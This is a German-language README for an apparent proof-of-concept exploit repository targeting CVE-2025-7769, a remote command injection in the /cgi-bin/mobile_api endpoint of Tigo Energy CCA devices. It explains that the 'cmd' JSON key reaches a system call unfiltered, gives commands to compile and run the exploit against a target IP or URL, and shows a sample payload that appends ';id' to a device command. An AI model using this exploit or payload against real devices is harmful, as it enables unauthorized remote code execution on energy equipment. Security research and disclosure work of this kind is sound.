CVE-2025-7769 – Remote-Befehlseinschleusung in mobile_api

Beschreibung :

Dieses Repository enthält einen Proof‑of‑Concept (PoC)-Exploit für CVE‑2025‑7769, eine kritische Remote Command Injection-Sicherheitslücke, die in Tigo Energy CCA-Geräten gefunden wurde, die den Endpunkt /cgi-bin/mobile_api bereitstellen.

Die Sicherheitslücke wird ausgelöst, indem Betriebssystembefehle über den JSON-Schlüssel cmd eingeschleust werden, wobei ungefilterte Eingaben direkt in einen Systemaufruf eingefügt werden, was eine vollständige Remote-Codeausführung (RCE) auf dem Gerät ermöglicht.

Referenzen :

• NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-7769

Verwendung :

gcc exploit.c argparse.c -o CVE-2025-7769 -lcurl
./CVE-2025-7769 -i 10.0.2.15 -p 80 -v
Ersetzen Sie 10.0.2.15 durch die Ziel-IP.

Verwenden Sie -u http://target.com, wenn Sie eine vollständige Basis-URL anstelle von IP/Port übergeben möchten.

Beispiel-Payload :

{
  "cmd": "DEVICE_PING;id",
  "dev": 2,
  "ver": 1
}